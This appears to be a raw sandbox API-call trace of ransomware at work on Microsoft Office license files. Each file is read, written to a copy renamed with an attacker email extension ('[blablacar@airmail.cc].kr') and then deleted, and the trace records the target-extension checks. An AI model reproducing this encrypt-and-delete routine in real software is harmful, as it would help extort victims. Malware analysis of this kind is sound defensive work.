[0193.507] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".docx") returned 5 [0193.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.507] lstrlenW (lpString=".pdf") returned 4 [0193.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".xls") returned 4 [0193.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".xlsx") returned 5 [0193.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.507] lstrlenW (lpString=".ppt") returned 4 [0193.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.507] lstrlenW (lpString=".zip") returned 4 [0193.507] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".rar") returned 4 [0193.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".bz2") returned 4 [0193.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".7z") returned 3 [0193.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.507] lstrlenW (lpString=".dbf") returned 4 [0193.507] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.508] lstrlenW (lpString=".1cd") returned 4 [0193.508] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.508] lstrlenW (lpString=".jpg") returned 4 [0193.508] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.508] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.508] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26 [0193.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.508] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20846) returned 1 [0193.508] CloseHandle (hObject=0x450) returned 1 [0193.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0193.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.509] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.509] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.510] GetLastError () returned 0x0 [0193.510] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x516e, lpOverlapped=0x0) returned 1 [0193.689] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5170, lpOverlapped=0x0) returned 1 [0193.691] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.691] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x108, lpOverlapped=0x0) returned 1 [0193.691] SetEndOfFile (hFile=0x520) returned 1 [0193.691] CloseHandle (hObject=0x520) returned 1 [0193.691] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.691] SetEndOfFile (hFile=0x450) returned 1 [0193.694] CloseHandle (hObject=0x450) returned 1 [0193.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0193.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.696] lstrlenW (lpString=".doc") returned 4 [0193.696] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString=".docx") returned 5 [0193.696] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.696] lstrlenW (lpString=".pdf") returned 4 [0193.696] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString=".xls") returned 4 [0193.696] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString=".xlsx") returned 5 [0193.696] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.696] lstrlenW (lpString=".ppt") returned 4 [0193.696] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.696] lstrlenW (lpString=".zip") returned 4 [0193.696] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString=".rar") returned 4 [0193.696] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString=".bz2") returned 4 [0193.696] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString=".7z") returned 3 [0193.696] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.696] lstrlenW (lpString=".dbf") returned 4 [0193.696] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.697] lstrlenW (lpString=".1cd") returned 4 [0193.697] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.697] lstrlenW (lpString=".jpg") returned 4 [0193.697] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.697] lstrlenW (lpString=".doc") returned 4 [0193.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString=".docx") returned 5 [0193.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.697] lstrlenW (lpString=".pdf") returned 4 [0193.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString=".xls") returned 4 [0193.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString=".xlsx") returned 5 [0193.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.697] lstrlenW (lpString=".ppt") returned 4 [0193.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.697] lstrlenW (lpString=".zip") returned 4 [0193.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString=".rar") returned 4 [0193.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString=".bz2") returned 4 [0193.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.697] lstrlenW (lpString=".7z") returned 3 [0193.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.697] lstrlenW (lpString=".dbf") returned 4 [0193.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.698] lstrlenW (lpString=".1cd") returned 4 [0193.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0193.698] lstrlenW (lpString=".jpg") returned 4 [0193.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.698] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.698] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22 [0193.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.223] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11139) returned 1 [0194.223] CloseHandle (hObject=0x548) returned 1 [0194.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0194.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.728] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.728] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0194.729] GetLastError () returned 0x0 [0194.729] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0194.731] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0194.733] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.733] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x100, lpOverlapped=0x0) returned 1 [0194.733] SetEndOfFile (hFile=0x538) returned 1 [0194.733] CloseHandle (hObject=0x538) returned 1 [0194.733] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.734] SetEndOfFile (hFile=0x4d8) returned 1 [0194.741] CloseHandle (hObject=0x4d8) returned 1 [0194.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0194.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.743] lstrlenW (lpString=".doc") returned 4 [0194.743] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString=".docx") returned 5 [0194.743] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.743] lstrlenW (lpString=".pdf") returned 4 [0194.743] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString=".xls") returned 4 [0194.743] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString=".xlsx") returned 5 [0194.743] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.743] lstrlenW (lpString=".ppt") returned 4 [0194.743] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.743] lstrlenW (lpString=".zip") returned 4 [0194.743] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString=".rar") returned 4 [0194.743] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString=".bz2") returned 4 [0194.743] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString=".7z") returned 3 [0194.743] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.743] lstrlenW (lpString=".dbf") returned 4 [0194.743] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.744] lstrlenW (lpString=".1cd") returned 4 [0194.744] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.744] lstrlenW (lpString=".jpg") returned 4 [0194.744] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.744] lstrlenW (lpString=".doc") returned 4 [0194.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString=".docx") returned 5 [0194.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.744] lstrlenW (lpString=".pdf") returned 4 [0194.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString=".xls") returned 4 [0194.744] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString=".xlsx") returned 5 [0194.744] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.744] lstrlenW (lpString=".ppt") returned 4 [0194.744] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.744] lstrlenW (lpString=".zip") returned 4 [0194.744] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString=".rar") returned 4 [0194.744] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString=".bz2") returned 4 [0194.744] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.744] lstrlenW (lpString=".7z") returned 3 [0194.744] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.745] lstrlenW (lpString=".dbf") returned 4 [0194.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.745] lstrlenW (lpString=".1cd") returned 4 [0194.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0194.745] lstrlenW (lpString=".jpg") returned 4 [0194.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.745] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.745] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0194.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.746] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11219) returned 1 [0194.746] CloseHandle (hObject=0x4d8) returned 1 [0194.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0194.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.746] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.747] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0194.747] GetLastError () returned 0x0 [0194.747] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0194.750] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0194.751] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.751] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x128, lpOverlapped=0x0) returned 1 [0194.751] SetEndOfFile (hFile=0x538) returned 1 [0194.751] CloseHandle (hObject=0x538) returned 1 [0194.751] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.751] SetEndOfFile (hFile=0x4d8) returned 1 [0194.755] CloseHandle (hObject=0x4d8) returned 1 [0194.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0194.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.756] lstrlenW (lpString=".doc") returned 4 [0194.756] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.756] lstrlenW (lpString=".docx") returned 5 [0194.756] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.756] lstrlenW (lpString=".pdf") returned 4 [0194.756] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.756] lstrlenW (lpString=".xls") returned 4 [0194.756] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.756] lstrlenW (lpString=".xlsx") returned 5 [0194.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.756] lstrlenW (lpString=".ppt") returned 4 [0194.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.756] lstrlenW (lpString=".zip") returned 4 [0194.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.756] lstrlenW (lpString=".rar") returned 4 [0194.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.756] lstrlenW (lpString=".bz2") returned 4 [0194.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString=".7z") returned 3 [0194.757] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.757] lstrlenW (lpString=".dbf") returned 4 [0194.757] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.757] lstrlenW (lpString=".1cd") returned 4 [0194.757] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString="C:\\Program Files\\Microsoft 